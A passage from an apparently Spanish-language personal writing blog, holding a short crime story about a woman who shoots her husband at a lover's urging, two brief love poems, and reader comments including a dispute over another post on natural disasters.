instaló la pareja, proveniente del interior. No tenían amigos, ni se relacionaban con sus vecinos. Los dos salían al amanecer, el mismo ómnibus los trasportaba a la capital, ella caminaba seis cuadras para realizar tareas de limpieza, en oficinas. El a una obra en construcción donde lo habían contratado como peón. Regresaban de noche. Ella inició, dos meses atrás, una peligrosa relación con un muchacho de la zona, que le sugirió la necesidad de deshacerse del marido para irse a vivir con él. Le proveyó un arma cargada y le dio instrucciones para usarla, aconsejándole que era preferible hacerlo a quemarropa, cuando estuviera dormido, para evitar alguna reacción. El hombre fornido, ella frágil, no tendría posibilidad de defensa. Frágil también de mente, siguió al pie de la letra las lecciones recibidas. Dormido, le descerrrajó un balazo en la sien. Envolvió el arma en un diario viejo y salió para esconderla entre matorrales a unos ochenta metros de la tapera. Iba a cebarse unos mates cuando, al entrar, tropezó con el hombre. - Dónde estabas? Le preguntó. Ella inventó – Uno de los perros aullaba, por una espina en una pata, ya se la saqué. - Me duele la cabeza, dame un mate. - Estás cansado, andate a dormir - No, acompañame, estoy mareado, en el bus se me pasará. Fueron hasta la parada, él apoyándose en ella para no tambalear. Tenía ese día libre por tareas de desinfección en el edificio de oficinas. Volvió a la tapera, encendió la radio mientras tomaba unos mates. A mediodía un auto policial se detuvo en la entrada. Se identificaron los agentes, preguntó uno de ellos si era la vivienda de Pedro Quispe, si ella era pariente. - Puede acompañarnos? – Si, contestó la mujer sin preguntar nada, sorprendiéndolos con su pasividad. La llevaron al hospital de urgencias. Esperó una media hora. Un médico la saludó. Le preguntó si era esposa de Pedro, si habia notado algo raro, un malestar cualquier cosa ocurrida últimamente y que hubiera llamado su atención. -No- dijo escuetamente. Tampoco hizo pregunta alguna. La hicieron pasar a la morgue. En una camilla, acentuada la palidez cadavérica, por la luz artificial, lo reconoció, sin experimentar la menor emoción. -Si, es Pedro,-dijo -Lo trajeron inconciente del trabajo. Falleció una hora después, -aclaró el médico. Pensó que su falta de reacción se debía a un shock, la hizo sentar para tomarle la presión. La autopsia reveló lo que nunca hubieran sabido, de no hacerla. Al rapar la abundante , oscura, áspera cabellera del occiso, un pequeño círculo, casi imperceptible con restos de sangre seca que lo había obturado, dio la pista que siguió el forense. Completados los estudios, la mujer se presentó al careo y aceptó los cargos sin objeciones. Buscaron al sospechado de inducirla, había levantado vuelo, sin dejar rastros. El mayor impacto que tuve, la inconmovible actitud de la mujer que en ningún momento demostró, aversión ni odio por el marido, que justificara ó atenuara su acción.Su comportamiento, al saber que no murió inmediatamente, cuando lo acompañó hasta el bus. Finalmente la falta de reacción como para ni siquiera fingir sorpresa al enfrentarse con su cadáver. En definitiva, pienso que la mujer no es normal ó no tiene sangre en sus venas. En extrañas circunstancias, infrecuentes, en mi vida, conocí a una extravagante mujer, con la que yo, no tenía, sin ánimo de ofender, la menor analogía. Las cosas así se dan y se dieron ese día. El pelo rubio dorado, le llegaba a la cintura, abundante, ensortijado. Lo quitaba de su rostro. Rebelde se lo tapaba, impidiéndole leer en el viejo pentagrama, mientras, una melodía, con su flauta, ejecutaba. Busqué en mi bolso una cinta, le recogí los cabellos y los até a sus espaldas. Me agradeció con un gesto Y cuando ya me marchaba, corriendo se me acercó. Entonces caí en la cuenta, cuando mi boca besaba, la que imaginé mujer, no era lo que yo pensaba. A pesar de sus cabellos, de su túnica arrugada, de sus ojos como cielos y sus manos delicadas. Era todo un caballero y bien me lo demostraba. Sin saber porqué, ni cómo, volví en busca del pasado. Al lugar donde tu y yo, tantas veces nos amamos. Llegué y todo lo vivido contigo, se presentó. Archivado en mi memoria, intacto, nada cambió. La sangre por mis arterias, ardiente, volvió a correr, al impulso del recuerdo que surgía del ayer. Breve momento de euforia. Enseguida se extinguió y la cruda realidad, de súbito, se instaló. La casa que había mirado, con los ojos del amor, era, en verdad, deprimente y pura desolación. Me rodeó un silencio huraño, terminal, sin compasión. Lo sentí como puñales destruyendo mi ilusión. Retomé el mismo camino, por donde había llegado, sin amor, sin ilusiones... Solo... con mi desencanto.
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Oscar Franco
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Por favor difundelo si pudieses. gracias.
Pascual Vizcaino Ruiz
Alejandro
Es usted muy déspota en su comentario del texto indiferencia divina?, sobre todo si tenemos en cuenta que la autora deja claro que los desastres naturales son muy comunes y crea toda su reflexión acerca de cómo el ser humano pasa de su pregunta hacia un Dios al que considera responsable a la dolorosa conclusión que es su irresponsabilidad la que acelera los procesos llevándolos a desastres.
Bastante arbitraria resulta usted al decir… le “concedo responsabilidad al hombre” por favor señora si usted lee, ve televisión o se molesta en averiguar, se podrá encontrar con un cumulo de estudios e informes que demuestran como las acciones de la humanidad ha afectado el equilibrio natural que provocan desastres.
Parece ser que usted no se entero del objetivo de la reunión de presidentes de países en Copenhague... por favor señora antes de atacar o trata de ridiculizar a alguien primero analícelo, porque podría ser usted quien terminara haciendo el ridículo.
Alexandro
Oscar Franco
Te invito a leer y comentar alguno de mis poemas espero te gusten.
Un saludo y feiz años nuevo 2010.
www.somosgoogle.blogspot.com
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Francisco Prez
Veneno
haydee
Seguro que van a sobrar las anécdotas y encontrarás un buen argumento para tus relatos.
Gracias!
Serena